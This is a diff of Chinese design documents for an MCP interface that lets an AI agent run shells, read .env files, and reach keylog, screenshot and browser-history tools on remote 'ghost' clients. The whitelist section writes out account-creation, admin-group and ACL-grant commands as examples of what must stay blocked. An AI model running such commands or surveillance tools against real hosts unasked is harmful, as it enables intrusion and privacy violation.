& $msb client\ghost_vs2015.vcxproj -p:Configuration=Debug -p:Platform=x64 -p:SolutionDir=C:/github/YAMA/ -m -v:m
|
||||
$env:YAMA_MCP_TOKEN="<32hex>"; $env:YAMA_DEVICES_FILE="$env:TEMP\yama_m0\devices.json"
|
||||
Start-Process .\Bin\YamaGo_x64.exe -ArgumentList '-port','16543','-http-port','18090'
|
||||
Start-Process .\x64\Debug\ghost.exe -ArgumentList '127.0.0.1','16543'
|
||||
curl -s -X POST localhost:18090/mcp -H "Authorization: Bearer $env:YAMA_MCP_TOKEN" ...
|
||||
```
|
||||
|
||||
注意:Debug ghost 的 `Mprintf` 走 `TRACE`(`common/logger.h:379`),客户端侧没有日志文件,
|
||||
验收以服务端 audit/日志为准。
|
||||
|
||||
### 4.4 与 MFC 的对照验收
|
||||
|
||||
同一批命令在两个后端各跑一遍,比对 `exit_code` 与清洗后的文本(不一致就是移植缺陷):
|
||||
|
||||
```
|
||||
sc query AssemblyManager rem hello cmd /c echo abc
|
||||
type C:\...\.env ping -n 30 127.0.0.1 for /L %i in (1,1,1000000) do @echo SPAM-%i
|
||||
```
|
||||
|
||||
### 4.5 每个提交前必跑
|
||||
|
||||
```bash
|
||||
cd server/go
|
||||
gofmt -l . ; go vet ./... ; go test ./... ; go test -race ./mcp/...
|
||||
go build ./cmd
|
||||
```
|
||||
|
||||
MFC 侧测试:M0–M8 的改动全在 `server/go`、`tools/mcp_tools` 与文档,**没有触碰任何
|
||||
C++ / 客户端文件**(`git diff --name-only 5f124fc..HEAD` 可证),因此原计划的
|
||||
`verify_live_6555.py` 回归没有对象。注意:本机在跑的 Release `Yama_x64.exe` 是更早的
|
||||
构建(`tools/list` 仍是 `list_online_hosts` 旧名),按约束未重启它;这与本次改动无关,
|
||||
也不影响上述结论。
|
||||
|
||||
---
|
||||
|
||||
## 5. 整体验收(对齐设计 §11)
|
||||
|
||||
验收日期 2026-11-12。现场:`Bin\YamaGo_x64.exe -port 16543 -http-port 18090` +
|
||||
`x64\Debug\ghost.exe`(Windows 11)+ WSL Ubuntu 24.04 ghost,临时 token/devices/audit。
|
||||
|
||||
- [x] 9 个工具全部可调用;`tools/list` 响应 < 24 KB
|
||||
—— 22578 B(只读 18288 B);九个工具逐一实调通过
|
||||
- [x] `terminal_exec` 连续 20 条命令零失败;超时后轮询取回完整输出
|
||||
—— 同一会话 20 条 `echo ACCEPT_n` 全部取回哨兵(M4b 另有超时轮询实测)
|
||||
- [x] 浏览器开着终端时 `terminal_exec` → `-32003`,人的会话不受影响
|
||||
—— `session_test.go:192` 证明浏览器持租约时返回 `ErrTerminalBusy`,
|
||||
`tools_term.go:273` 映射为 `-32003`;另有 `terminal_close` 不动浏览器租约的用例
|
||||
- [x] `read_file` 读 `.env` 字节级一致,SHA-256 与远端 `sha256sum` 相同
|
||||
—— Windows 与 WSL 两边分别实测(M7);本轮 CRLF/单引号样本再验一次
|
||||
- [x] `get_screenshot` Windows / Linux 各一张,Linux 走 BGRX→JPEG
|
||||
—— Windows 1024x304 JPEG 本轮实测;Linux 在 M5 实测(WSLg 下画面全黑是
|
||||
Xwayland 的已知限制,屏幕子连接与 BGRX→JPEG 链路本身通过)
|
||||
- [x] 审计每次 `mcp.tool.call` 一条,`device`/`tool`/`code`/`ms` 齐全
|
||||
—— 本轮 30 条,样例含 `"device"`/`"tool"`/`"code"`/`"ms"`
|
||||
- [x] `verify_tools.py --subset` 通过(9 个 / 只读 7 个两种模式)
|
||||
—— 读写 9、`YAMA_MCP_READONLY=1` 7 均 PASS;两种反向错配均按预期 FAIL
|
||||
- [x] `go test -race ./mcp/...` 无数据竞争
|
||||
- [ ] `hub` 零改动 —— **不成立且不可取**:`hub` 新增 `SendToConn`(M6,往任意子连接
|
||||
回包必须走编码器)与终端租约代数 `terminalGen` / `OpenTerminalSessionLease`
|
||||
(M4a,防止失去租约的查看者关掉别人的 shell)。两项都是设计遗漏、实现阶段补的,
|
||||
均有单测;`hub` 原有对外行为不变。
|
||||
|
||||
---
|
||||
|
||||
## 6. 风险(在设计 R1-R8 之上新增)
|
||||
|
||||
| # | 风险 | 影响 | 处置 |
|
||||
|---:|---|---|---|
|
||||
| R9 | `OnTerminalData` 在 TCP 读循环上阻塞 | 整个设备通道卡死(浏览器画面/终端一起停) | 只做内存追加与唤醒;缓冲满丢最旧;禁止在回调里调用 `hub` 的会加锁方法 |
|
||||
| R10 | 文件子连接 ctx 生命周期 | 客户端中途断开 → 后续发送到已关闭 ctx / pending 表泄漏 | pending 表带超时与 `OnDisconnect` 清理;发送失败即失败收尾 |
|
||||
| R11 | `103/104` 常量与主连接 token 相邻 | 值写错会把登录包当文件列表(反之亦然) | 常量唯一性单测 + 解析前校验最小长度 |
|
||||
| R12 | Windows 路径与 `filepath.Rel` | 路径穿越(被控端写主控任意位置) | 单测覆盖 `..`/绝对路径/UNC/混合分隔符;拒 NUL 与换行 |
|
||||
| R13 | 客户端断开(`r.Context()`)后锁未释放 | 设备永久 `-32003` | `defer` 释放;单测用 cancel 验证 |
|
||||
| R14 | 单测 goroutine 泄漏 | `-race` 偶发失败 | `Close()` 幂等;测试里 `defer Close()` |
|
||||
| R15 | 真机 smoke 用 Debug ghost,与 Release 客户端有差异 | 安装/许可行为可能在 Release 上不同,本地验收未覆盖 | M0 已确认 Debug ghost 可上线;M5/M6 用 trial 签名验证屏幕/文件能力;交付说明写明该差异 |
|
||||
|
||||
---
|
||||
|
||||
## 7. 工时估算
|
||||
|
||||
| 里程碑 | 编码 | 测试 | 小计 |
|
||||
|---|---:|---:|---:|
|
||||
| M1 | 3h | 3h | 6h |
|
||||
| M2 | 6h | 4h | 10h |
|
||||
| M3 | 2h | 2h | 4h |
|
||||
| M4a | 4h | 2h | 6h |
|
||||
| M4b | 5h | 3h | 8h |
|
||||
| M4c | 1h | 1h | 2h |
|
||||
| M5 | 4h | 2h | 6h |
|
||||
| M6 | 5h | 3h | 8h |
|
||||
| M7 | 6h | 4h | 10h |
|
||||
| M8 | 2h | 1h | 3h |
|
||||
| 整体联调 + 真机验收 | — | — | 6h(含在 §5) |
|
||||
| **合计** | **38h** | **25h** | **≈63h ≈ 8 人日** |
|
||||
|
||||
---
|
||||
|
||||
## 附录 A:`protocol/commands.go` 新增常量
|
||||
|
||||
| 常量 | 值 | 方向 | 里程碑 |
|
||||
|---|---:|---|---|
|
||||
| `CommandListDrive` | 1 | S→C 主连接 | M6 |
|
||||
| `CommandListFiles` | 2 | S→C 文件子连接 | M6 |
|
||||
| `CommandSendFileV2` | 85 | C→S V2 子连接 | M7 |
|
||||
| `CommandFileCompleteV2` | 91 | C→S V2 子连接 | M7 |
|
||||
| `CmdDownFilesV2` | 94 | S→C 文件子连接 | M7 |
|
||||
| `TokenDriveList` | 103 | C→S 文件子连接 | M6 |
|
||||
| `TokenFileList` | 104 | C→S 文件子连接 | M6 |
|
||||
| `TokenFileListError` | 171 | C→S 文件子连接 | M6 |
|
||||
| `CommandScreenPreviewReq` | 247 | S→C 主连接 | M5 |
|
||||
| `TokenScreenPreviewRsp` | 248 | C→S 主连接 | M5 |
|
||||
|
||||
## 附录 B:环境变量
|
||||
|
||||
| 变量 | 默认 | 说明 | 引入里程碑 |
|
||||
|---|---|---|---|
|
||||
| `YAMA_MCP_TOKEN` | 空(端点不注册) | 32 位十六进制静态令牌 | M1 |
|
||||
| `YAMA_MCP_READONLY` | 0 | 隐藏 `terminal_exec` / `terminal_close` | M1 |
|
||||
| `YAMA_MCP_TERM_IDLE` | 180 | 终端会话空闲回收秒数 | M4c |
|
||||
| `YAMA_MCP_MAX_CONCURRENCY` | 16 | 全局并发上限 | M3 |
|
||||
| `YAMA_MCP_READ_MAX` | 2097152 | `read_file` 大小门(字节) | M7 |
|
||||
|
||||
## 附录 C:提交前自检清单(每个里程碑)
|
||||
|
||||
1. `gofmt -l .` 无输出;`go vet ./...` 干净。
|
||||
2. `go test ./...` 与 `go test -race ./mcp/...` 全绿。
|
||||
3. 新增的每个错误码都有触发它的单测(错误码不是装饰)。
|
||||
4. 新增的每条审计事件都能在临时审计文件里被 `get_audit_log` 查到。
|
||||
5. 提交标题用 `Feature(Go):` / `Fix(Go):`,正文说明"为什么",trailer 用当前会话模型名。
|
||||
6. 未推送前发现问题用 `--amend`/squash,不堆补丁提交。
|
||||
@@ -0,0 +1,576 @@
|
||||
# MFC MCP 工具优化方案(基于 ASM 工位实操数据)
|
||||
|
||||
> 版本:v2(2026-11-12 评审后修订) 状态:待评审 日期:2026-11-12
|
||||
>
|
||||
> v1 → v2 的实质修正(均以代码/实测为准,修订处在段首标「v2」):
|
||||
> `tools/list` 基线改为实测 193,008 字节(v1 的 103,158 对不上任何历史版本);
|
||||
> P0-2 的前提「`sentPos` 是已发送偏移」不成立(它是哨兵在 `data` 中的位置),并补齐
|
||||
> 调用方 `CancelIO`、取消/超时分离、输出上限、busy 兜底四处实现细节;P0-4 白名单
|
||||
> 剔除 `icacls` / `net user` / `net localgroup`(三者在带参数时是写命令);P1-2 说明
|
||||
> 其实现仍需走 shell;P1-1/P2 的别名方案补齐平台表、instructions、网站页面等同步项。
|
||||
>
|
||||
> 数据来源:2026-11-12 一次完整的 7 机 ASM 工位故障处理 + 批量配置会话。
|
||||
> 该会话共 **186 次 MCP 调用**,63 个工具里实际用到 **9 个**。本文所有使用频次、
|
||||
> 命令分类、失败码都来自该会话的调用记录逐条统计,不是推断;凡属推断的地方会标注。
|
||||
>
|
||||
> 前置文档:`Mcp_Design.md`(协议/错误码)、`Mcp_Terminal_Design.md`(持久终端)、
|
||||
> `Mcp_Next_Plan.md`(P10 起的能力扩展)、`Mcp_Machine_Design.md`(会话抽象)。
|
||||
|
||||
---
|
||||
|
||||
## 0. 结论摘要
|
||||
|
||||
1. **工具不缺,粒度不对。** 186 次调用里 109 次(58.6%)是 `terminal_exec`;按命令分类,
|
||||
118 条里有 59% 是「读」(读文件/日志 37%、查服务状态 14%、查注册表 4%、列目录 4%),
|
||||
这部分全部压在 `terminal_exec` 上;同时有 **30 个纯只读工具零调用**。原因是专用工具
|
||||
一个标签页一个、粒度太细,而真实故障处理是「一条命令拿三样东西」。
|
||||
2. **最大的单点浪费是会话管理。** `terminal_open` 20 次 + `terminal_close` 17 次 = **37 次调用(20%)**,
|
||||
零信息产出。其中 9 个会话只跑了 1 条命令,即 3 次调用换 1 条命令。
|
||||
3. **`terminal_exec` 超时会销毁会话,这是设计错误。** 命令超时说明进程可能还在跑,
|
||||
此时丢掉 shell 恰好毁掉全部现场(cwd、环境变量、后台任务)。本次两次 `-32002`
|
||||
都由此产生,每次都要重开会话并重跑命令。
|
||||
4. **`read_file` 是唯一真正的功能缺口。** 读文件靠 `type`(`exec_command`,5 次)和
|
||||
`Get-Content`/`Select-String`(`terminal_exec`,39 次),`.env` 对比还得 `download_file`
|
||||
落盘再本地解析。而「读」正是最高频的需求。
|
||||
5. **`exec_command` 的命令白名单在拦只读命令。** `sc qc AssemblyManager` 被拒(`-32007`),
|
||||
而 109 次不受白名单约束的 `terminal_exec` 畅通无阻——这个安全门在当前用法下不产生保护,
|
||||
只产生摩擦。根因是 `powershell` 完全不在白名单里,任何 PowerShell 一行都过不去。
|
||||
|
||||
---
|
||||
|
||||
## 1. 实测数据
|
||||
|
||||
### 1.1 工具使用分布(186 次调用 / 63 个工具)
|
||||
|
||||
| 调用数 | 工具 | 占比 |
|
||||
|---:|---|---:|
|
||||
| 109 | `terminal_exec` | 58.6% |
|
||||
| 20 | `terminal_open` | 10.8% |
|
||||
| 17 | `terminal_close` | 9.1% |
|
||||
| 10 | `list_files` | 5.4% |
|
||||
| 9 | `exec_command` | 4.8% |
|
||||
| 7 | `get_screenshot` | 3.8% |
|
||||
| 7 | `download_file` | 3.8% |
|
||||
| 4 | `upload_file` | 2.2% |
|
||||
| 3 | `search_hosts` | 1.6% |
|
||||
|
||||
**未调用 54 个,其中 30 个是纯只读**(`write=false && manage=false`)。30 个里有 26 个是
|
||||
主机/服务端枚举类,另 4 个是 `chat_*`:
|
||||
|
||||
```
|
||||
list_online_hosts list_all_hosts get_host_detail get_activity_history
|
||||
get_foreground_window get_client_log get_keylog get_audit_log get_server_status
|
||||
mcp_list_sessions mcp_cancel_session
|
||||
list_processes list_windows list_services list_registry list_network_connections
|
||||
host_list_processes host_list_windows host_list_network_state host_list_software
|
||||
host_list_browser_history host_list_favorites host_list_win32_services
|
||||
host_list_driver_services host_list_scheduled_tasks host_get_hosts_file
|
||||
```
|
||||
|
||||
### 1.2 命令用途分布(118 条:109 条 `terminal_exec` + 9 条 `exec_command`)
|
||||
|
||||
| 目的 | 条数 | 占比 |
|
||||
|---|---:|---:|
|
||||
| 读文件 / 日志 | 44 | 37% |
|
||||
| HTTP 探测本机 8003 | 25 | 21% |
|
||||
| 查服务状态 | 17 | 14% |
|
||||
| 其他 | 14 | 12% |
|
||||
| 跑脚本 | 5 | 4% |
|
||||
| 查注册表 | 5 | 4% |
|
||||
| 列目录 | 5 | 4% |
|
||||
| 查进程 | 2 | 2% |
|
||||
| 写 / 复制 | 1 | 1% |
|
||||
|
||||
注意最后一行:**整场只有 1 条写命令(1%)**。危险操作占比极低,但权限模型把它和只读操作
|
||||
混在同一档。
|
||||
|
||||
### 1.3 失败与超时
|
||||
|
||||
| 错误码 | 次数 | 场景 |
|
||||
|---|---:|---|
|
||||
| `-32002` | 2 | 命令超时/取消 → **会话被销毁** |
|
||||
| `-32001` | 1 | `Timeout waiting for command output` |
|
||||
| `-32007` | 1 | `sc qc AssemblyManager` 被白名单拒 |
|
||||
| `-32009` | 2 | `download_file` 路径不存在(ASM-07 未装 ASM,属环境问题非工具问题) |
|
||||
|
||||
**真实失败率 6/186 = 3%**。工具稳定性没有问题,问题在效率和语义。
|
||||
|
||||
另有 **9 组完全重复的命令**(重复 `sc query`、重复 `Restart-Service`、重复 grep 日志),
|
||||
全部是超时后重试——修掉 §2.2 后自然消失。
|
||||
|
||||
### 1.4 会话开销
|
||||
|
||||
- 20 次 `terminal_open` vs 17 次 `terminal_close` → **3 个会话没关**
|
||||
- 会话粒度分布:19/16/13/11/9/7/7/6/5/4/3/1/1/1/1/1/1/1/1/1 条命令
|
||||
(20 个会话、合计 109 条,与 §1.2 的 109 条 `terminal_exec` 自洽)
|
||||
→ **9 个会话只跑了 1 条命令**
|
||||
- 109 次 `terminal_exec` 里 **41 次(38%)显式传了 `timeout_ms`**
|
||||
- 命令长度中位数 349 字符,最长 1302 字符;74 条命令含 ≥2 个分号(手工串联)
|
||||
|
||||
### 1.5 上下文成本
|
||||
|
||||
**v2 修订(实测)**:对运行中的服务端发一次 `tools/list`(只读请求,测法见附录 B),
|
||||
响应 **193,008 字节**,其中 tools 数组本身 136,692 字节:
|
||||
|
||||
| 组成 | 字节 |
|
||||
|---|---:|
|
||||
| description 合计 | 31,874 |
|
||||
| inputSchema 合计 | 44,192 |
|
||||
| outputSchema 合计 | 49,320 |
|
||||
|
||||
按中英混合粗估 **40k–60k tokens**,每次会话建立 `tools/list` 都要付一遍;其中 30 个
|
||||
零调用的只读工具贡献了相当一部分。
|
||||
|
||||
两个陷阱:
|
||||
1. **不能拿 `mcp/tools.json` 当基线**——它是 222,803 字节的文件,且 `make_tools_json.py`
|
||||
额外追加了 `_readme` / `gate` / `platforms` / `impl` 等**线上响应里没有**的元信息。
|
||||
2. v1 写的 103,158 字节对不上任何历史版本(近 8 个提交的 `mcp/tools.json` 都在
|
||||
217–223KB),应作废。
|
||||
|
||||
---
|
||||
|
||||
## 2. 五个问题(带代码位置)
|
||||
|
||||
### 2.1 会话管理占 20%,且没有「无会话执行」通道
|
||||
|
||||
**根因**:`BuildTerminalExec`(`McpServer.cpp:4920`)把 `session_id` 设为必填:
|
||||
|
||||
```
|
||||
4932: std::string sessionId = GetStringArg(args, "session_id");
|
||||
4933: if (sessionId.empty())
|
||||
4934: return BuildError(id, -32602, "Missing required parameter: session_id");
|
||||
```
|
||||
|
||||
要跑一条命令就必须先 `terminal_open`,跑完还要 `terminal_close`(否则靠
|
||||
`kTermIdleTimeoutSec = 300`(`McpServer.cpp:4673`)五分钟回收)。一次性任务因此固定付
|
||||
2 次额外调用。
|
||||
|
||||
### 2.2 超时销毁会话(设计错误)
|
||||
|
||||
**根因**:`WaitTermCommand`(`McpServer.cpp:10949`)在等待未命中时无条件销毁(`10958` 起):
|
||||
|
||||
```cpp
|
||||
if (!signaled) { // 超时/取消 → 清理会话+路由
|
||||
context* subCtx = it->second.subCtx;
|
||||
MarkTermDestroyedLocked(device_id, it->second.sessionId,
|
||||
McpCallCancelled()
|
||||
? "Terminal session was destroyed because the request was cancelled; ..."
|
||||
: "Terminal session was destroyed after this command timed out (waited "
|
||||
+ std::to_string(timeoutMs) + " ms); call terminal_open again");
|
||||
m_TermContextToDevice.erase(subCtx);
|
||||
m_TermSessions.erase(it);
|
||||
return false;
|
||||
}
|
||||
```
|
||||
|
||||
超时意味着「本次调用不愿再等」,**不意味着「命令失败了」**。`robocopy` 搬 30MB、
|
||||
`Wait-AsmReady 180` 这类命令必然超时,但它们还在正常跑。此时 `erase(it)` 把
|
||||
`subCtx`、已收集的 `data`、`sentPos` 全扔了。
|
||||
|
||||
**v2 更正:`sentPos` 不是「已发送偏移」。** 它是**哨兵在 `data` 中的位置**
|
||||
(`McpServer.h:820` 注释;`McpServer.cpp:10768` 由 `FindSentinel` 写入),成功分支用它
|
||||
把输出**截断到哨兵之前**,并不记录「已经交给调用方多少字节」:
|
||||
|
||||
```
|
||||
10989: if (it->second.sentPos <= it->second.data.size())
|
||||
10990: out.assign(it->second.data.begin(), it->second.data.begin() + it->second.sentPos);
|
||||
```
|
||||
|
||||
而且 `BeginTermCommand` 在每条新命令开始时 `data.clear(); sentPos = 0`(`10925-10926`)。
|
||||
所以「增量回传」需要新增一个真正的交付游标,见 P0-2。
|
||||
|
||||
另外,超时路径的问题不止少了一个游标:调用方在 `WaitTermCommand` 返回 false 后
|
||||
**立即 `subCtx->CancelIO()`**(`McpServer.cpp:4999`),shell 进程随即退出。只改
|
||||
`WaitTermCommand` 而不改这一行,会话即使留着也是死壳。
|
||||
|
||||
### 2.3 默认超时与真实任务不匹配
|
||||
|
||||
`McpToolTimeoutMs` 默认 **20000ms**(`McpServer.h:968`),上限 600000(`McpServer.h:541`)。
|
||||
本次 38% 的调用要手工调大。升级脚本、服务重启、包复制都超过 20 秒。
|
||||
|
||||
顺带:`McpServer.h:541` 的注释写的是「调到 60s 更实用」,但成员初始值仍是 20000,
|
||||
`2015RemoteDlg.cpp:2588` 读 ini 的缺省值也是 20000——注释与代码不一致,实现时统一。
|
||||
|
||||
### 2.4 没有 `read_file`
|
||||
|
||||
现状三条路都不合适:
|
||||
|
||||
| 路径 | 问题 |
|
||||
|---|---|
|
||||
| `exec_command` + `type` | 白名单里有 `type`,但只能整文件输出,无法分页;GBK 文件直接乱码 |
|
||||
| `terminal_exec` + `Get-Content` | 要开会话、要处理引号转义、编码不可控、输出混着提示符回显 |
|
||||
| `download_file` 落盘再读 | 3.6KB 的 `.env` 也要走完整 V2 传输 + 主控落盘 + 本地解析 |
|
||||
|
||||
`download_file` 在本次用了 7 次且 0 失败,说明**服务端作为 V2 接收端已经可用**——
|
||||
这是实现 `read_file` 的现成基础(见 §3 P0-3)。
|
||||
|
||||
### 2.5 白名单在拦只读命令
|
||||
|
||||
**根因**:`kDefaultCmdWhitelist`(`McpServer.cpp:3817`):
|
||||
|
||||
```cpp
|
||||
"dir,type,cd,chdir,ver,hostname,whoami,where,tasklist,systeminfo,ipconfig,netstat,"
|
||||
"path,set,find,findstr,reg query,sc query,"
|
||||
"ping,tracert,nslookup,getmac,driverquery,query,gpresult,"
|
||||
"arp -a,route print,schtasks /query";
|
||||
```
|
||||
|
||||
- 有 `sc query`,**没有 `sc qc`** → 本次被拒(`McpServer.cpp:4115`)
|
||||
- **`powershell` 完全不在表里** → 任何 PowerShell 一行都过不去,这才是根因。
|
||||
本次 9 次 `exec_command` 里 5 次是 `type`、3 次是 `sc query`/`sc qc`、1 次 `whoami`,
|
||||
全是 cmd 内置;所有需要 PowerShell 的都改走不受约束的 `terminal_exec`。
|
||||
|
||||
白名单用前缀匹配(`IsCommandAllowed`,`McpServer.cpp:3862`),所以补 `sc qc` 是一行的事。
|
||||
但补 `powershell` 等于放开一切,必须单独评审。
|
||||
|
||||
---
|
||||
|
||||
## 3. 优化方案
|
||||
|
||||
### P0-1 `terminal_exec` 允许不带 `session_id`
|
||||
|
||||
**改法**:`session_id` 从必填改为可选。
|
||||
|
||||
```
|
||||
terminal_exec(id, command?, session_id?, timeout_ms?)
|
||||
```
|
||||
|
||||
- 给 `command` + 不给 `session_id`:复用该 host 的「默认会话」;不存在则内部走
|
||||
`terminal_open` 的同一路径建一个,**不对外暴露 open/close**。
|
||||
- 默认会话与普通会话同受 `kTermIdleTimeoutSec = 300` 回收,无需新的回收逻辑。
|
||||
- 输出新增 `session_id` 与 `reused: true|false`,让调用方能判断是否可继续复用。
|
||||
- 现有调用全部带 `session_id`,行为不变;`session_id` 写错仍返回 `-32002`。
|
||||
|
||||
**影响**:本次 37 次 open/close 里,至少 9 个单命令会话(27 次调用)可压到 9 次,省 18 次。
|
||||
批量配置那类「每台 6 次」的流程可压到每台 2–3 次。
|
||||
|
||||
**风险**:与 `-32003 Device busy` 的交互。默认会话正在跑别的命令时,仍应返回 `-32003`
|
||||
而不是排队——排队会让调用方无从判断要等多久。
|
||||
|
||||
**风险 2(v2 补充):默认会话会悄悄占住整台主机的终端槽。** `m_TermSessions` 每设备
|
||||
只有一条,`BeginTermPending` 在已有会话时直接拒绝(`McpServer.cpp:10792`),所以自动创建
|
||||
的默认会话会让后续 `exec_command` 和用户主动的 `terminal_open` 都报 `-32003`,而调用方
|
||||
看不到任何显式会话。处理方式:`terminal_open` 撞上默认会话时**返回该 session_id
|
||||
(`reused: true`)而不是报错**,并在它的 description 里写明这一点。
|
||||
|
||||
**验收**:同一 host 连续 3 条命令,调用序列为 3 次 `terminal_exec`,无 open/close。
|
||||
|
||||
### P0-2 超时改为「返回部分输出 + 可继续轮询」,不销毁会话
|
||||
|
||||
**改法**:`WaitTermCommand`(`McpServer.cpp:10949`)的超时分支(`10958`)不再 `erase`,
|
||||
并补齐 v1 漏掉的实现细节。
|
||||
|
||||
超时后:
|
||||
1. 保留 `m_TermSessions` 条目,`busy` 保持 `true`(命令确实还在跑)
|
||||
2. 把已收集的 `data` 从**新增的交付游标 `delivered`** 起返回(v1 误以为 `sentPos` 是
|
||||
这个游标,实际它是哨兵位置),返回后 `delivered = data.size()`
|
||||
3. 返回**成功**结果:`isError:false` + `{session_id, done:false, output, elapsed_ms}`。
|
||||
`BuildError` 只能产出 `{error:{code,message}}`(`McpInternal.cpp:83`),错误响应里没有
|
||||
`structuredContent`,模型侧也会按失败处理——「超时但命令还在跑」不该是错误
|
||||
4. 不必新增 `overdue` 字段:`SweepIdleTerminals` 本来就跳过 `busy` 会话(`11026`)
|
||||
|
||||
继续取输出的方式:**同一个工具,只传 `session_id` 不传 `command`**,进入 wait 模式:
|
||||
- 再次等待,命中哨兵则返回增量 + `done:true` + `exit_code`
|
||||
- 再次超时则继续返回增量 + `done:false`,不销毁
|
||||
|
||||
**v2 必须同时改的三处**:
|
||||
|
||||
- **调用方不再杀 shell**:`BuildTerminalExec` 在 `WaitTermCommand` 返回 false 后调用
|
||||
`subCtx->CancelIO()`(`4999-5000`),必须改成只在「真正失败」时取消;超时保留路径不取消。
|
||||
- **取消与超时分开**:`McpCallCancelled()` 为真表示处理线程已经走了、不会有人再来轮询,
|
||||
必须照旧销毁(与 `-32800` 的语义一致);只有真超时才保留。
|
||||
- **输出上限**:`TermSession::data` 现在无界(全仓没有上限常量)。轮询设计下
|
||||
`robocopy` / `tail -f` 能堆到 MB 级,而工具结果本身也有客户端上限(`get_client_log`
|
||||
的注释已踩过这个坑,`McpServer.cpp:4243`)。需要:每次返回截到 `max_output_bytes`
|
||||
(默认 64KB,带 `truncated:true`);给 `data` 一个硬上限(如 8MB),达到后停止收集
|
||||
并追加标记;`delivered` 只前进不后退,丢弃的字节数要如实上报。
|
||||
|
||||
**v2 补充:busy 会话的最大存活时间。** `SweepIdleTerminals` 只回收 `!busy`(`11026`),
|
||||
调用方超时后再也不轮询时,该主机的 `-32003` 会永久不消失。需要 `busySince` 兜底
|
||||
(如 1 小时)强制清理,或让 `terminal_close` 能强杀 busy 会话。
|
||||
|
||||
**为什么不开新工具**:`terminal_poll` 之类会让工具数 +1,用参数形态区分(有无 `command`)
|
||||
即可,且与 P0-1 天然一致。
|
||||
|
||||
**兼容性**:现有调用都传 `command`,走原路径。`command` 从必填改为「与 `session_id` 二选一」。
|
||||
注意 `data` 在 `BeginTermCommand` 里被 `clear()`(`10925`),所以下一条带 `command` 的调用
|
||||
必须先确认上一条输出已取完,否则会静默丢输出——建议上一条 `done` 但未取完时返回 `-32003`
|
||||
并提示先轮询。
|
||||
|
||||
**验收**:跑一条 90 秒的命令,`timeout_ms=20000`,连续轮询 5 次后拿到完整输出与退出码,
|
||||
会话未被销毁;`delivered` 单调递增、无重复无丢失;中途取消(`-32800`)后会话被销毁;
|
||||
不再轮询时,该主机的终端槽在 busy 兜底时间后释放。
|
||||
|
||||
### P0-3 新增 `read_file`
|
||||
|
||||
```
|
||||
read_file(id, path, offset?=0, limit?=2000, encoding?="auto", max_bytes?=262144)
|
||||
```
|
||||
|
||||
返回:
|
||||
```json
|
||||
{ "path": "...", "size": 3792, "encoding": "utf-8", "eol": "crlf",
|
||||
"lines_total": 72, "offset": 0, "lines_returned": 72, "truncated": false,
|
||||
"text": "...", "sha256": "..." }
|
||||
```
|
||||
|
||||
- `offset` 支持负数(`-200` = 最后 200 行),覆盖「看日志尾部」这个最高频场景
|
||||
- `encoding: auto` 按 BOM → UTF-8 合法性 → GBK 回退探测;显式可传 `utf-8`/`gbk`/`latin1`
|
||||
- 单次上限 256KB,超出按 `truncated: true` 截断并给 `lines_total`
|
||||
|
||||
**第一阶段实现(客户端零改动)**:复用 `download_file` 的 V2 通道把文件拉到
|
||||
`<服务端数据目录>\mcp\tmp\<device_id>\`,读完即删。理由:本次 7 次 `download_file` 全部成功,
|
||||
说明服务端作为 V2 接收端已可用;新增客户端命令的成本远高于收益。
|
||||
**第二阶段**(可选):新增 `COMMAND_READ_FILE` 走内存,省掉落盘。
|
||||
|
||||
**v2 补充的四个前提**:
|
||||
- **先看大小再下载**:`download_file` 是「整文件落到服务端磁盘」(默认 600s 超时),一个
|
||||
2GB 日志会先占满主控磁盘。V2 的元数据到达后先判 `size > max_bytes`(默认 2MB)就直接
|
||||
返回 `-32602`(附「改用 download_file」提示)并 `CancelIO`,不要开始传输。不新增错误码
|
||||
——`-32011` 已被「目标写入失败」占用。
|
||||
- **开关与平台门**:依赖 V2,必须 `McpFileTransfer=1` 且客户端 `SupportsFileV2`
|
||||
(否则 `-32006`);只读模式下是否放行要明确(建议放行,它不写远端)。
|
||||
- **临时目录清理**:用 RAII 覆盖成功/超时/取消/异常四条路径。`devId` 是 `uint64_t`,
|
||||
拼路径没有注入风险;但并发调用共用文件传输槽(`BeginFileTransferPending`),会 `-32003`。
|
||||
- **`sha256` 与 `lines_total` 的语义**:`sha256` 是**整个文件**的哈希(不是返回片段的);
|
||||
`lines_total` 需要完整解码,`offset=-N` 也依赖它,所以第一步仍然是完整取回。
|
||||
|
||||
**为什么值得单开工具而不并入 `exec`**:本次 `.env` 事故就是「用 shell 改配置文件」的
|
||||
典型翻车——PowerShell 的 `.Split($nl)` 绑到 `Split(char[])`,把 72 行拆成 144 行。
|
||||
读侧同理:`type` 出来的 GBK 是乱码、`Get-Content` 会把行尾归一化。
|
||||
字节级的读接口把编码、行尾、引号这三类坑一次性绕开。
|
||||
|
||||
**验收**:读一份 87 行、含 GBK 字符、CRLF 行尾的配置文件,`lines_total` 与
|
||||
`Get-Content | Measure-Object -Line` 一致,`sha256` 与 `certutil -hashfile` 一致。
|
||||
|
||||
### P0-4 白名单补齐只读动词
|
||||
|
||||
**最小改动(推荐先做)**:在 `kDefaultCmdWhitelist` 补只读项
|
||||
|
||||
```
|
||||
sc qc, sc enumdepend, sc sdshow
|
||||
```
|
||||
|
||||
`sc qc` 是本次被拒的那条,属明确的漏项。
|
||||
|
||||
**v2 更正:`icacls` / `net user` / `net localgroup` 不能加。** 这三项都是「只读用法之外
|
||||
还有写用法」,而 `IsCommandAllowed` 是**前缀匹配**(`McpServer.cpp:3862`),无法区分:
|
||||
|
||||
- `icacls X /grant everyone:F` 改 ACL
|
||||
- `net user bob pwd /add` 建本地账号;`net localgroup administrators bob /add` 提权
|
||||
- `whoami /priv` 已被现有 `whoami` 前缀覆盖,加了是冗余
|
||||
|
||||
要在 `exec_command` 里做这三类查询,只能等参数级过滤(白名单项 + 参数正则),那是另一个
|
||||
改动面,不要混进本次。
|
||||
|
||||
**关于 `powershell`**:不建议直接加入白名单——那等于放开一切,且与 `exec_command`
|
||||
「只读白名单」的定位矛盾。真正需要 PowerShell 的场景应通过 P0-3 的 `read_file` 和
|
||||
P1-2 的 `http_probe` 覆盖掉。若后续确有需要,应另立 `kDefaultCmdWhitelistPS`,
|
||||
对 `Get-*` 只读动词做 cmdlet 级白名单,并单独安全评审。
|
||||
|
||||
**验收**:`sc qc <svc>` 返回 `-32007` 消失;`powershell -Command ...` 仍被拒。
|
||||
|
||||
### P1-1 合并三个主机列表工具
|
||||
|
||||
`list_online_hosts` + `search_hosts` + `list_all_hosts` → `list_hosts`。
|
||||
|
||||
本次 `search_hosts` 用了 3 次,另两个各 0 次。三者的差异只在「是否含离线」,
|
||||
用参数即可表达:
|
||||
|
||||
```
|
